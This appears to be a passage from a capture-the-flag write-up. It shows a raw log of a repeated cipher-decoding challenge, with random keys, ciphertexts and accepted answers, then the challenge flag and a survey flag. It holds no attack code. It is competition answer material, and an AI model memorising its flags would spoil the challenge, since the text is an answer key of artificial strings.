yxfgmdiipnrviakhluudeqshpiqnjrvphpsfppdbbzqcbqrzzteowsdoavkk Enter the decoded Ciphertext:evgijbernlgymkghfrygvwhnrlarqqzymjgnjyedcyejvcbajxdgaejfovxi Hurrah your ans is correct KEY : vacdfioouybfcliu CIPHERTEXT : ibblivhtsfttimnamftdizcryxrizfscyzmsjzndcswgfuenifkfdigyolsl Enter the decoded Ciphertext:nbkjvvcthvqhqydkhhulnbrndayxnwiqnaznlvfssgquyhfvjhxlkofxbvpf Hurrah your ans is correct KEY : sajchjkarkefrxmpekffoeifw CIPHERTEXT : ghskjogvltgdmuobzuxajepyiglplibxmcwaqdmxcsntlbauudowchvtyinb Enter the decoded Ciphertext:ckjbvljvzznblyrnpbqykejaqllciqliiiphqexapjrzhfozvqnqfjtbxozb Hurrah your ans is correct KEY : pqmzkhwyojguffjygnjuvnahn CIPHERTEXT : hsdxrlonaiueujribfbulwortnwjbmsnlypewduxbgrnktyskqqdgvdindcm Enter the decoded Ciphertext:cmgpetysytzymljlaahyptdgfkhshoucywhjentluxgzeynfzeywhmjspewh Hurrah your ans is correct KEY : gnfvrywgncaqzvwxkarknvcixpaunnyiqexp CIPHERTEXT : reuafxaecavlrrsazxazkwgissjxmgpfbpdhvtrhsmetjuehlkvommyekifr Enter the decoded Ciphertext:sckgvaywmuopxztkjkftlsaegkuhblbnjzkvvxjfkyzibwrwzncfdduiwuod Hurrah your ans is correct KEY : kapfisfbq CIPHERTEXT : dzwvaezlqqriqaftolzwqgqxujbpvhlfehxfsiidtheuigxjqawmirnljryx Enter the decoded Ciphertext:fjjmijlrdfvworqgxzoibepwtsglklrvfhgbqyudatwowbkykukibshorobx Hurrah your ans is correct KEY : fywolensbhpigvlp CIPHERTEXT : ymmqxhxsfexmlbhiemmcruhkwrnrynlriqylpjdvqzbzxqteuwgakzotxcjq Enter the decoded Ciphertext:cqqgjmmyjzralsiyimcwxhtsyklsmafkyyerpuoxcmnexjzaiiawaffbndpy Hurrah your ans is correct KEY : hptyxatqdzkloaqasfqaokigj CIPHERTEXT : rdstizdzupkdvxloiuaaahulhqdmzqfbxawqwbcvizdwscouraqprkaykdzq Enter the decoded Ciphertext:wknhavtmhzdjnxdwaeckembibfcdnsybewsqbuwtnbqsszspuehvesiyfvre Hurrah your ans is correct KEY : hjenkilwrnoggvfn CIPHERTEXT : novfqunaqhzkzaymvzcrpotxgbzenmwrbileqrwtrpfejezyblswwglgldxl Enter the decoded Ciphertext:kjyimventylhhxedbtdxcxustulhimydzceeymnsyzxutsaywgxrwdwdbqrw Hurrah your ans is correct KEY : nuwqjokqz CIPHERTEXT : zuuehbpbbtjhgwsmozuwmcmpzkikpbgsiljstimodbcouamaujszetrkgevg Enter the decoded Ciphertext:vmsoflzljlxdgmakaxqsuymbtiywxpaasbzczgwkjjossiosszqxqzjkkmzu Hurrah your ans is correct KEY : dlsdqttvr CIPHERTEXT : cnliffktglvfmpvxaesgkzsampedoncpjarpufilhgusezsgqrkiotztwwyk Enter the decoded Ciphertext:cupqmpnjqzkmssrnsrscereztvcyhcugjcarvhcqrpwkajgpzzgxntejbqke Hurrah your ans is correct KEY : fuhdsnpikhyuvctq CIPHERTEXT : aphihpoudihzyfvjnpbwaypgcdethxxynivlwpxaojemadejeplevfphdmku Enter the decoded Ciphertext:qzgshihzopxgvdybybgnznroogvbsbgvwrjygjiopmnicaxvireevdkyqoal Hurrah your ans is correct KEY : yzvt CIPHERTEXT : ttypfbhocqbpuaohednoataiplnonhlzkzzbiigpsihbnpxbkodoiebellkp Enter the decoded Ciphertext:wpjkcrzvgmydwonmdqdhfqyeeddhixapvayfmuxakomvgboboofnasrrkvri Hurrah your ans is correct KEY : xxtpmlnuowqgotzbomaqqfizqhcyrmoowavk CIPHERTEXT : miwrxoptxubjfnphspfsrgpslkbelbdytvfmrootjipistymjsdrxpdrtwgq Enter the decoded Ciphertext:spepqwneohtnhtuyhnadwmkouebchmwvltmgodzegdauqsgtmasdbivkorqd Hurrah your ans is correct KEY : jzmdvlkijwsksptu CIPHERTEXT : suvmgrouqupeargwrrbljintjpowxubtzqmwsgzziyzrlcinezrzlbedzdzl Enter the decoded Ciphertext:rdpagztdldbemzvbbuzwlfyxildondanwycdtvkunnsauebthyhvelggpihq Hurrah your ans is correct KEY : ledlwilgpzyqpzwd CIPHERTEXT : ldvlsgvbtcyuxqeegugbwdtcrkwiplfgikaqcqwuqgufobghpjgkxslbtkhj Enter the decoded Ciphertext:khfgevksjxcyfxakxhwvudprfhuytstzcmsgguocjbotkuttyslijyswnsmm Hurrah your ans is correct KEY : mtdwnchys CIPHERTEXT : nierabnzwgkloifywqpjhiinudrnyrrokmzybwoqzppzogpwlrxcuurbliac Enter the decoded Ciphertext:yenfqxwjyxomzmcocafvixeylbrbebqmnurhkiflxpkpauzpljyqiqhnikgu Hurrah your ans is correct KEY : yhdkbmmlbotcaqbaeqejhhnxk CIPHERTEXT : yfaothkclppblxivpaixarmxwfarqqhimzsgyggzeqcmyxuvamujbtefsowm Enter the decoded Ciphertext:iyulovosujczbszqqxacdmnilhdeikzjhltuvjrogmagcrjoyyuzolteedbs Hurrah your ans is correct KEY : bjkbuzevzabbynys CIPHERTEXT : anacfaptfazjiusujfwnfwsqtlwrkacwckwcasrjeajijjopbgnfyhjfsykw Enter the decoded Ciphertext:jaylxldjlfzlcowyuvcozuzsylscwseucmuewbypgitwkpokttntrvaacwqw Hurrah your ans is correct KEY : nkrzcitvffwotvtfzqlzhfkvlgilobsrdjxv CIPHERTEXT : daetklksogxbncmjowtfehrmvzbsasrjapbglkkayvqqvsjmmtaihunvegyp Enter the decoded Ciphertext:ylctabdchykmzziyyrwiezluaoapgfacmrvkjfzfgyvitalwpjqbrjegizlx Hurrah your ans is correct Congratulations you are at the top of the hill Here's your flag : GLUG{17_15_34513r_70_g0_d0wn_4_h1ll_7h4n_up_bu7_7h3_v13w _15_fr0m_7h3_70p}
GLUG{17_15_34513r_70_g0_d0wn_4_h1ll_7h4n_up_bu7_7h3_v13w _15_fr0m_7h3_70p}
FEEDBACK (Misc)
アンケートに答えたら、フラグが表示された。
GLUG{th4nk5_4nd_s3e_y0u_nex7_y3ar}